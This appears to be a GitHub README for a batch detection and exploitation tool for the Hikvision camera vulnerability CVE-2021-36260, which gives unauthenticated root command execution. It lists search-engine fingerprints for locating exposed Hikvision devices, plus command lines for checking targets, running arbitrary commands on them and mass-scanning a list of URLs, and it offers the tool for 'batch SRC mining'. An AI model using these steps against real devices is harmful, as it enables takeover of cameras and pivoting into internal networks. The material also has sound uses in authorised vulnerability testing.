yanxinwu946/hikvision-unauthenticated-rce-cve-2021-36260海康威视RCE漏洞 批量检测和利用工具
An attacker can use this vulnerability to gain complete control of the device with an unrestricted root shell, even if the device owner is limited to a restricted protected shell (psh). In addition to compromising IP cameras, they can also access and attack the internal network.
header="Hikvision"
app="HIKVISION-视频监控"
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --cmd "ls -la"
python ./CVE-2021-36260.py -f target.txt
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Start scanning url
-f FILE, --file FILE read the url from the file
--check Check if vulnerable
--cmd CMD execute cmd (i.e: "ls -l")
Can be used for batch SRC mining